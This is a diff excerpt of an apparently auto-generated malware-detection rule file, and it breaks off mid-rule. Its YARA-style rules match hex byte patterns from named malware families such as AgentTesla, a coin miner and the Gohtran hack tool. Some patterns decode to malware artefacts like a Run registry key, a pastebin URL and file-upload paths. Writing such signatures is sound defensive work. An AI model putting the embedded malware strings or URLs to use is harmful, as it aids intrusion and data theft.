00 78 d4 00 00 01 00 01 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 53 65 72 6f 72 74 61 74 2e 41 31 00 01 00 32 01 39 34 43 34 30 41 32 42 44 45 32 44 31 36 30 43 33 34 41 36 34 43 45 38 36 36 39 44 42 44 37 32 38 44 41 31 34 } //21280 + $a_35_5 = {46 34 36 46 39 36 39 45 01 00 32 01 37 31 45 31 36 35 38 43 42 39 43 37 42 43 41 32 35 42 38 46 41 34 34 37 38 34 42 46 36 32 39 36 35 36 46 38 31 33 34 41 45 34 37 39 45 42 31 42 31 33 01 00 32 01 } //14644 + $a_42_6 = {33 45 32 31 36 36 34 44 39 34 30 46 42 35 32 39 43 34 30 39 44 41 44 36 33 44 36 35 45 43 33 37 37 45 45 30 33 30 33 30 33 37 35 46 39 00 00 78 d4 00 00 01 00 01 00 05 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 } //16949 + condition: + ((#a_4c_0 & 1)*21539+(#a_0c_2 & 1)*3909+(#a_79_3 & 1)*26996+(#a_73_4 & 1)*21280+(#a_35_5 & 1)*14644+(#a_42_6 & 1)*16949) >=65 + +} +rule _InfrastructureShared_15218{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -163057,7 +173978,7 @@ rule _InfrastructureShared_14279{ ((#a_49_0 & 1)*20003) >=1 } -rule _InfrastructureShared_14280{ +rule _InfrastructureShared_15219{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -163069,7 +173990,7 @@ rule _InfrastructureShared_14280{ ((#a_54_0 & 1)*18467+(#a_39_1 & 1)*13876+(#a_39_2 & 1)*13366) >=1 } -rule _InfrastructureShared_14281{ +rule _InfrastructureShared_15220{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -163081,7 +174002,7 @@ rule _InfrastructureShared_14281{ ((#a_5f_0 & 1)*25635+(#a_40_2 & 1)*-28651+(#a_4d_4 & 1)*9984) >=1 } -rule _InfrastructureShared_14282{ +rule _InfrastructureShared_15221{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " @@ -163095,7 +174016,7 @@ rule _InfrastructureShared_14282{ ((#a_5f_0 & 1)*25635+(#a_6e_1 & 1)*26996+(#a_65_2 & 1)*21281+(#a_90_3 & 1)*-3304+(#a_ff_4 & 1)*656) >=1 } -rule _InfrastructureShared_14283{ +rule _InfrastructureShared_15222{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 07 00 21 " @@ -163107,7 +174028,7 @@ rule _InfrastructureShared_14283{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1385+(#a_54_2 & 1)*28261) >=1 } -rule _InfrastructureShared_14284{ +rule _InfrastructureShared_15223{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -163117,7 +174038,7 @@ rule _InfrastructureShared_14284{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_14285{ +rule _InfrastructureShared_15224{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -163127,7 +174048,7 @@ rule _InfrastructureShared_14285{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_14286{ +rule _InfrastructureShared_15225{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -163138,7 +174059,7 @@ rule _InfrastructureShared_14286{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*99) >=2 } -rule _InfrastructureShared_14287{ +rule _InfrastructureShared_15226{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -163150,7 +174071,7 @@ rule _InfrastructureShared_14287{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*-29185+(#a_6e_2 & 1)*28490) >=2 } -rule _InfrastructureShared_14288{ +rule _InfrastructureShared_15227{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -163162,7 +174083,7 @@ rule _InfrastructureShared_14288{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*115+(#a_03_3 & 1)*1) >=2 } -rule _InfrastructureShared_14289{ +rule _InfrastructureShared_15228{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -163176,7 +174097,7 @@ rule _InfrastructureShared_14289{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*26967+(#a_d4_2 & 1)*0+(#a_62_3 & 1)*5888+(#a_65_4 & 1)*25708) >=2 } -rule _InfrastructureShared_14290{ +rule _InfrastructureShared_15229{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " @@ -163190,7 +174111,7 @@ rule _InfrastructureShared_14290{ ((#a_46_0 & 1)*16675+(#a_8b_2 & 1)*5888+(#a_01_3 & 1)*-14199+(#a_2f_4 & 1)*21087+(#a_61_5 & 1)*281) >=2 } -rule _InfrastructureShared_14291{ +rule _InfrastructureShared_15230{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -163202,7 +174123,7 @@ rule _InfrastructureShared_14291{ ((#a_46_0 & 1)*16675+(#a_54_1 & 1)*21073+(#a_ff_2 & 1)*-184) >=3 } -rule _InfrastructureShared_14292{ +rule _InfrastructureShared_15231{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -163214,7 +174135,7 @@ rule _InfrastructureShared_14292{ ((#a_4c_0 & 1)*21539+(#a_18_1 & 1)*-14427+(#a_41_2 & 1)*26712) >=3 } -rule _InfrastructureShared_14293{ +rule _InfrastructureShared_15232{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -163227,7 +174148,7 @@ rule _InfrastructureShared_14293{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*8489+(#a_70_2 & 1)*385+(#a_65_3 & 1)*25957) >=3 } -rule _InfrastructureShared_14294{ +rule _InfrastructureShared_15233{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -163240,7 +174161,7 @@ rule _InfrastructureShared_14294{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*2448+(#a_2d_2 & 1)*2305+(#a_0f_4 & 1)*4096) >=3 } -rule _InfrastructureShared_14295{ +rule _InfrastructureShared_15234{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -163255,7 +174176,7 @@ rule _InfrastructureShared_14295{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*118+(#a_4e_2 & 1)*21556+(#a_70_3 & 1)*25948+(#a_00_4 & 1)*0+(#a_4c_5 & 1)*8993) >=3 } -rule _InfrastructureShared_14296{ +rule _InfrastructureShared_15235{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -163268,20 +174189,33 @@ rule _InfrastructureShared_14296{ ((#a_46_0 & 1)*16675+(#a_78_1 & 1)*23653+(#a_01_2 & 1)*27748+(#a_90_3 & 1)*22621) >=4 } -rule _InfrastructureShared_14297{ +rule _InfrastructureShared_15236{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 4b 21 4d 53 52 00 01 00 45 03 08 09 93 28 90 01 03 0a 1f 21 32 11 08 09 93 28 90 01 03 0a 1f 7e fe 02 16 fe 01 2b 01 16 2c 14 08 09 1f 21 08 09 93 1f 0e 58 } //16675 $a_58_1 = {90 01 03 0a 9d 09 17 58 0d 09 07 6f 90 01 03 0a fe 04 2d bd 90 00 01 00 28 00 47 61 6c 6c 61 67 68 65 72 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 1f 00 54 61 73 6b 43 61 6e 63 65 6c 65 64 45 78 63 65 70 74 69 2e 67 2e 72 } //24095 - $a_75_2 = {63 65 73 01 00 0c 00 42 69 74 43 6f 6e 76 65 72 74 65 72 00 00 78 d4 00 00 04 00 04 00 04 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 47 6f 68 74 72 61 6e 2e 41 21 64 68 61 00 01 00 28 01 2f 68 6f 6d 65 2f 79 75 78 69 61 6f 6b 75 69 2f 67 6f 2f 73 72 63 2f 67 6f 68 74 72 61 6e 2f 63 6c 69 65 6e 74 2e } //29541 - $a_00_3 = {27 } //28519 ' + $a_75_2 = {63 65 73 01 00 0c 00 42 69 74 43 6f 6e 76 65 72 74 65 72 00 00 78 d4 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 44 69 7a 7a 79 43 6f 6d 70 61 73 73 2e 41 21 64 68 61 00 01 00 32 01 47 00 6f 00 6f 00 67 00 6c 00 65 00 20 00 44 00 72 00 69 00 76 00 65 00 20 00 46 00 69 00 6c 00 65 00 20 00 46 00 } //29541 + $a_00_3 = {64 00 65 00 72 00 2f 00 01 00 28 01 47 00 6f 00 6f 00 67 00 6c 00 65 00 44 00 72 00 69 00 76 00 65 00 55 00 70 00 6c 00 6f 00 61 00 64 00 65 00 72 00 2f 00 01 00 20 01 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 46 00 69 00 6c 00 65 00 41 00 70 00 70 00 2f 00 01 00 1c 01 44 00 65 00 6c 00 65 00 74 00 65 00 46 00 69 00 6c 00 } //105 condition: - ((#a_46_0 & 1)*16675+(#a_58_1 & 1)*24095+(#a_75_2 & 1)*29541+(#a_00_3 & 1)*28519) >=4 + ((#a_46_0 & 1)*16675+(#a_58_1 & 1)*24095+(#a_75_2 & 1)*29541+(#a_00_3 & 1)*105) >=4 } -rule _InfrastructureShared_14298{ +rule _InfrastructureShared_15237{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 44 69 7a 7a 79 43 6f 6d 70 61 73 73 2e 41 21 64 68 61 00 01 00 32 01 47 00 6f 00 6f 00 67 00 6c 00 65 00 20 00 44 00 72 00 69 00 76 00 65 00 20 00 46 00 69 00 6c 00 65 00 20 00 46 00 69 00 } //16675 + $a_00_1 = {65 00 72 00 2f 00 01 00 28 01 47 00 6f 00 6f 00 67 00 6c 00 65 00 44 00 72 00 69 00 76 00 65 00 55 00 70 00 6c 00 6f 00 61 00 64 00 65 00 72 00 2f 00 01 00 20 01 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 46 00 69 00 6c 00 65 00 41 00 70 00 70 00 2f 00 01 00 1c 01 44 00 65 00 6c 00 65 00 74 00 } //110 + $a_00_2 = {69 00 6c 00 65 00 41 00 70 00 70 00 2f 00 00 00 78 d4 00 00 04 00 04 00 04 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 47 6f 68 74 72 61 6e 2e 41 21 64 68 61 00 01 00 28 01 2f 68 } //101 + $a_2f_3 = {75 78 69 61 6f 6b 75 69 2f 67 6f 2f 73 72 63 2f 67 6f 68 74 72 61 6e 2f 63 6c 69 65 6e 74 2e 67 6f 01 00 27 01 2f 75 73 72 2f 6c 69 62 2f 67 6f 6c 61 6e 67 2f 73 72 63 2f 6e 65 74 2f 73 6f 63 6b 5f 77 69 6e 64 6f 77 73 2e 67 6f 01 00 28 01 2f 75 73 72 2f 6c 69 62 2f 67 6f 6c 61 6e 67 2f 73 72 63 2f 6e } //28015 + condition: + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*110+(#a_00_2 & 1)*101+(#a_2f_3 & 1)*28015) >=4 + +} +rule _InfrastructureShared_15238{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -163294,7 +174228,7 @@ rule _InfrastructureShared_14298{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=4 } -rule _InfrastructureShared_14299{ +rule _InfrastructureShared_15239{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -163306,7 +174240,7 @@ rule _InfrastructureShared_14299{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*118+(#a_46_3 & 1)*28265) >=4 } -rule _InfrastructureShared_14300{ +rule _InfrastructureShared_15240{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -163314,12 +174248,12 @@ rule _InfrastructureShared_14300{ $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4c 5a 21 4d 54 42 00 01 00 41 03 07 06 72 a7 01 00 70 6f 90 01 04 74 02 00 00 1b 6f 90 01 04 00 07 06 72 af 01 00 70 6f 90 01 04 74 02 00 00 1b 6f 90 01 04 00 07 06 72 b7 01 } //18467 $a_90_1 = {04 74 02 00 00 1b 6f 90 01 04 00 90 00 01 00 10 81 01 46 6f 72 6d 50 69 73 74 65 65 74 5f 4c 6f 61 64 01 00 1e 81 01 5f 31 36 6d 61 74 69 6b 6b 61 70 65 6c 69 2e 46 6f 72 6d 31 2e 72 65 73 6f 75 72 63 65 73 01 00 24 81 01 5f 31 36 6d 61 74 69 6b 6b 61 70 65 6c 69 2e 46 6f 72 6d 50 69 73 74 65 65 74 2e 72 65 73 6f 75 72 63 65 73 00 } //28672 $a_00_2 = {00 04 00 04 00 04 00 21 23 54 45 4c 3a 57 69 6e 36 34 2f 4f 66 66 65 6e 7a 4e 69 6d 7a 2e 42 21 4d 54 42 00 01 00 1a 03 48 89 c1 e8 90 01 04 48 89 45 c8 48 8b 45 c8 48 8d 90 01 05 48 89 c1 e8 90 00 01 00 28 03 89 45 f4 48 8b 90 01 05 4c 8b 08 48 8b 90 01 05 89 c2 8b 45 f4 41 89 d0 89 c2 b9 ff ff 1f 00 41 ff 90 01 01 48 89 90 00 01 00 41 03 8b 45 f0 48 63 d0 48 8b 90 01 05 89 c1 48 8b 90 01 05 c7 44 24 30 00 00 00 00 c7 44 24 28 00 00 00 00 c7 44 24 20 00 00 00 00 41 b9 02 00 00 00 49 89 d0 89 ca 48 89 c1 41 ff 90 01 01 89 05 90 00 01 00 1c 03 49 c7 c0 ff ff ff ff ba 01 00 00 00 48 8d 90 01 05 48 89 c1 e8 90 01 04 48 89 90 00 00 } //30720 - $a_00_3 = {00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 72 79 73 61 6e 2e 50 47 43 21 4d 54 42 00 04 00 3b 80 01 31 33 34 33 32 44 34 35 34 33 35 6f 34 33 36 35 77 36 35 6e 34 36 6c 35 37 35 6f 37 35 61 34 64 35 36 53 33 74 35 34 33 35 72 34 69 35 6e 36 35 34 36 67 35 33 35 32 33 34 32 33 01 00 66 80 01 31 30 39 3d 37 39 32 38 41 39 36 37 33 38 2f 35 36 34 37 35 34 6d 36 34 31 35 36 5d 34 35 32 36 33 73 35 33 33 34 27 35 33 34 34 35 33 34 69 35 34 31 33 35 53 32 34 32 63 33 32 34 33 32 33 61 34 5b 31 5b 32 6e 33 5d 34 42 31 5b 32 5b 33 75 34 66 31 66 32 5d 33 5d 34 5b 31 65 32 33 5d 34 33 31 32 32 72 33 00 } //30720 + $a_00_3 = {00 05 00 05 00 04 00 21 23 48 53 54 52 3a 41 64 77 61 72 65 3a 4d 53 49 4c 2f 42 72 6f 77 73 65 72 41 73 73 69 73 74 61 6e 74 00 01 00 05 80 01 53 6c 65 65 70 02 00 14 80 01 49 73 53 63 68 65 64 75 6c 65 64 54 61 73 6b 45 78 69 73 74 02 00 10 80 01 43 68 65 63 6b 52 75 6e 52 65 67 69 73 74 72 79 05 00 6c 01 43 3a 5c 44 65 76 5c 53 6f 75 72 63 65 5c 42 72 6f 77 73 65 72 41 73 73 69 73 74 61 6e 74 5c 61 74 6c 61 73 2d 65 78 74 65 6e 73 69 6f 6e 2d 73 65 6c 65 6e 69 75 6d 5c 42 72 6f 77 73 65 72 41 73 73 69 73 74 61 6e 74 2e 53 74 61 72 74 75 70 5c 6f 62 6a 5c 78 38 36 5c 52 65 6c 65 61 73 65 5c 53 74 61 72 74 75 70 2e 70 64 62 00 } //30720 condition: ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*28672+(#a_00_2 & 1)*30720+(#a_00_3 & 1)*30720) >=4 } -rule _InfrastructureShared_14301{ +rule _InfrastructureShared_15241{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -163327,36 +174261,36 @@ rule _InfrastructureShared_14301{ $a_4c_0 = {57 69 6e 36 34 2f 4f 66 66 65 6e 7a 4e 69 6d 7a 2e 42 21 4d 54 42 00 01 00 1a 03 48 89 c1 e8 90 01 04 48 89 45 c8 48 8b 45 c8 48 8d 90 01 05 48 89 c1 e8 90 00 01 00 28 03 89 45 f4 48 8b 90 01 05 4c 8b 08 48 } //21539 $a_05_1 = {89 } //-28533 $a_f4_2 = {89 d0 89 c2 b9 ff ff 1f 00 41 ff 90 01 01 48 89 90 00 01 00 41 03 8b 45 f0 48 63 d0 48 8b 90 01 05 89 c1 48 8b 90 01 05 c7 44 24 30 00 00 00 00 c7 44 24 28 00 00 00 00 c7 44 24 20 00 00 00 00 41 b9 02 00 00 } //-29758 - $a_d0_3 = {ca 48 89 c1 41 ff 90 01 01 89 05 90 00 01 00 1c 03 49 c7 c0 ff ff ff ff ba 01 00 00 00 48 8d 90 01 05 48 89 c1 e8 90 01 04 48 89 90 00 00 00 78 d4 00 00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 72 79 73 61 6e 2e 50 47 43 21 4d 54 42 00 04 00 3b 80 01 31 33 34 33 32 44 34 35 34 33 35 6f 34 33 36 35 77 36 35 6e 34 36 6c 35 37 35 6f 37 35 61 34 64 35 36 53 33 74 35 34 33 35 72 } //18688 + $a_d0_3 = {ca 48 89 c1 41 ff 90 01 01 89 05 90 00 01 00 1c 03 49 c7 c0 ff ff ff ff ba 01 00 00 00 48 8d 90 01 05 48 89 c1 e8 90 01 04 48 89 90 00 00 00 78 d4 00 00 05 00 05 00 04 00 21 23 48 53 54 52 3a 41 64 77 61 72 65 3a 4d 53 49 4c 2f 42 72 6f 77 73 65 72 41 73 73 69 73 74 61 6e 74 00 01 00 05 80 01 53 6c 65 65 70 02 00 14 80 01 49 73 53 63 68 65 64 75 6c 65 64 54 61 73 6b 45 78 69 73 74 02 00 10 80 01 43 68 65 63 } //18688 condition: ((#a_4c_0 & 1)*21539+(#a_05_1 & 1)*-28533+(#a_f4_2 & 1)*-29758+(#a_d0_3 & 1)*18688) >=4 } -rule _InfrastructureShared_14302{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 72 79 73 61 6e 2e 50 47 43 21 4d 54 42 00 04 00 3b 80 01 31 33 34 33 32 44 34 35 34 33 35 6f 34 33 36 35 77 36 35 6e 34 36 6c 35 37 35 6f 37 35 61 34 64 35 36 53 33 74 } //21539 - $a_35_1 = {34 69 35 6e 36 35 34 36 67 35 33 35 32 33 34 32 33 01 00 66 80 01 31 30 39 3d 37 39 32 38 41 39 36 37 33 38 2f 35 36 34 37 35 34 6d 36 34 31 35 36 5d 34 } //13365 - condition: - ((#a_4c_0 & 1)*21539+(#a_35_1 & 1)*13365) >=5 - -} -rule _InfrastructureShared_14303{ +rule _InfrastructureShared_15242{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " strings : $a_54_0 = {3a 41 64 77 61 72 65 3a 4d 53 49 4c 2f 42 72 6f 77 73 65 72 41 73 73 69 73 74 61 6e 74 00 01 00 05 80 01 53 6c 65 65 70 02 00 14 80 01 49 73 53 63 68 65 64 75 6c 65 64 54 61 73 6b 45 78 69 73 74 02 00 10 80 01 43 68 65 63 6b 52 75 6e 52 65 67 69 73 } //18467 $a_05_1 = {00 6c 01 43 3a 5c 44 65 76 5c 53 6f 75 72 63 65 5c 42 72 6f 77 73 65 72 41 73 73 69 73 74 61 6e 74 5c 61 74 6c 61 73 2d 65 78 74 65 6e 73 69 6f 6e 2d 73 65 6c 65 6e 69 75 6d 5c 42 72 6f 77 73 65 72 41 73 73 69 73 74 61 6e 74 2e 53 74 61 72 74 75 70 5c 6f 62 6a 5c 78 38 36 5c 52 65 6c 65 61 73 65 5c 53 74 61 72 74 75 70 2e 70 64 62 00 00 78 d4 00 00 05 00 05 00 } //29300 - $a_23_2 = {4c 46 3a 48 53 54 52 3a 50 55 41 3a 57 69 6e 33 32 2f 43 61 72 62 6d 6f 72 6e 65 72 2e 41 21 62 69 } //5 LF:HSTR:PUA:Win32/Carbmorner.A!bi - $a_00_3 = {1b } //116 + $a_23_2 = {4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 46 69 65 72 63 65 46 6f 78 2e 46 21 64 68 61 } //5 LF:Backdoor:Win64/FierceFox.F!dha condition: - ((#a_54_0 & 1)*18467+(#a_05_1 & 1)*29300+(#a_23_2 & 1)*5+(#a_00_3 & 1)*116) >=5 + ((#a_54_0 & 1)*18467+(#a_05_1 & 1)*29300+(#a_23_2 & 1)*5) >=5 } -rule _InfrastructureShared_14304{ +rule _InfrastructureShared_15243{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_46_0 = {42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 46 69 65 72 63 65 46 6f 78 2e 46 21 64 68 61 00 01 00 1d 01 4e 6f 74 68 69 6e 67 20 65 76 65 72 20 72 65 61 6c 6c 79 20 74 6f 6f 6b 20 6f 66 66 2e 01 00 2a 01 54 68 65 72 65 20 61 72 } //16675 + $a_6f_1 = {6d 61 6e 79 20 73 61 6e 64 77 69 63 68 65 73 20 6f 6e 20 74 68 65 20 74 61 62 6c 65 2e 01 00 14 01 54 69 67 65 72 73 20 61 72 65 20 67 6f 72 67 65 6f 75 73 2e 01 00 22 01 41 20 68 75 67 65 20 77 61 76 65 20 74 75 72 6e 65 64 20 6f 76 65 72 20 68 69 73 20 63 61 6e 6f 65 2e 01 00 16 01 48 65 20 77 61 73 20 77 65 61 72 69 6e 67 20 61 20 76 65 73 } //8293 + $a_00_4 = {05 00 21 23 41 } //5 + condition: + ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*8293+(#a_00_4 & 1)*5) >=5 + +} +rule _InfrastructureShared_15244{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -163365,25 +174299,40 @@ rule _InfrastructureShared_14304{ $a_63_1 = {6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 52 75 6e 01 00 18 01 59 00 65 00 61 00 49 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 65 00 72 00 01 00 0f 01 6e 6f 49 6e 73 74 61 6c 6c 41 6e 74 69 49 44 01 00 22 01 68 00 69 00 64 00 65 00 57 00 69 00 6e 00 64 00 6f 00 77 00 44 00 } //19804 $a_00_2 = {6b 00 74 00 6f 00 70 00 00 00 78 d4 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 69 6e 4d 69 6e 65 72 2e 53 57 21 4d 54 42 00 01 00 22 01 25 73 5c 57 69 6e 64 6f 77 73 2e 42 61 63 6b 75 70 5c 54 61 73 6b 20 4d 61 6e 61 67 65 72 2e 65 78 65 01 00 1c 01 25 73 5c 57 69 6e 64 6f 77 73 2e 42 61 63 6b 75 70 } //101 $a_69_3 = {65 34 2e 74 78 74 01 00 1c 01 25 73 5c 57 69 6e 64 6f 77 73 2e 42 61 63 6b 75 70 5c 62 61 63 6b 75 70 2e 65 78 65 01 00 1a 01 25 73 5c 57 69 6e 64 6f 77 73 2e 42 61 63 6b 75 70 5c 75 73 65 72 2e 74 78 74 01 00 20 01 68 74 74 70 3a 2f 2f 70 61 73 74 65 62 69 6e 2e 63 6f 6d 2f 72 61 77 2f 4c 37 37 34 62 6e 31 55 00 00 78 d4 00 00 05 00 05 00 } //30556 - $a_23_4 = {53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4b 49 49 45 31 32 } //5 STR:Trojan:MSIL/AgentTesla.KIIE12 + $a_23_4 = {4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 50 6c 61 73 74 69 63 46 69 72 65 70 6c 61 63 65 2e } //5 LF:Trojan:Win64/PlasticFireplace. condition: ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*19804+(#a_00_2 & 1)*101+(#a_69_3 & 1)*30556+(#a_23_4 & 1)*5) >=5 } -rule _InfrastructureShared_14305{ +rule _InfrastructureShared_15245{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 69 6e 4d 69 6e 65 72 2e 53 57 21 4d 54 42 00 01 00 22 01 25 73 5c 57 69 6e 64 6f 77 73 2e 42 61 63 6b 75 70 5c 54 61 73 6b 20 4d 61 6e 61 67 65 72 2e 65 78 65 01 00 1c 01 25 73 5c 57 } //16675 $a_6f_1 = {73 2e 42 61 63 6b 75 70 5c 77 72 69 74 65 34 2e 74 78 74 01 00 1c 01 25 73 5c 57 69 6e 64 6f 77 73 2e 42 61 63 6b 75 70 5c 62 61 63 6b 75 70 2e 65 78 65 01 00 1a 01 25 73 5c 57 69 6e 64 6f 77 73 2e 42 61 63 6b 75 70 5c 75 73 65 72 2e 74 78 74 01 00 20 01 68 74 74 70 3a 2f 2f 70 61 73 74 65 62 69 6e } //28265 - $a_6d_2 = {72 61 77 2f 4c 37 37 34 62 6e 31 55 00 00 78 d4 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4b 49 49 45 31 32 33 21 4d 54 42 00 01 00 4c 01 57 15 02 1e 09 00 00 00 00 fa 25 33 00 16 00 00 01 00 00 00 2c 00 00 00 05 00 00 00 01 00 00 00 0b 00 00 00 06 00 00 00 2d } //25390 - $a_00_4 = {00 00 03 00 } //0 + $a_6d_2 = {72 61 77 2f 4c 37 37 34 62 6e 31 55 00 00 78 d4 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 50 6c 61 73 74 69 63 46 69 72 65 70 6c 61 63 65 2e 41 21 64 68 61 00 01 00 2e 01 41 74 74 65 6d 70 74 69 6e 67 20 74 6f 20 72 65 63 6f 6e 6e 65 63 74 20 74 6f 20 57 65 62 53 6f 63 6b 65 74 20 73 65 72 76 } //25390 + $a_2e_3 = {01 00 1d 01 57 65 62 53 6f 63 6b 65 74 20 69 73 20 73 74 69 6c 6c 20 63 6f 6e 6e 65 63 74 65 64 2e 01 00 1b 01 55 70 6c 6f 61 64 20 61 6c } //29285 + $a_64_4 = {20 69 6e 20 70 72 6f 67 72 65 73 73 2e 01 00 1a 01 53 75 63 63 65 73 73 66 75 6c 6c 79 20 64 65 6c 65 74 65 64 20 66 69 6c 65 3a 01 00 0e 01 57 69 6e 53 74 6f 72 6d 4d 61 6e 4b 65 79 00 00 78 d4 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 } //25970 condition: - ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*28265+(#a_6d_2 & 1)*25390+(#a_00_4 & 1)*0) >=5 + ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*28265+(#a_6d_2 & 1)*25390+(#a_2e_3 & 1)*29285+(#a_64_4 & 1)*25970) >=5 } -rule _InfrastructureShared_14306{ +rule _InfrastructureShared_15246{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 50 6c 61 73 74 69 63 46 69 72 65 70 6c 61 63 65 2e 41 21 64 68 61 00 01 00 2e 01 41 74 74 65 6d 70 74 69 6e 67 20 74 6f 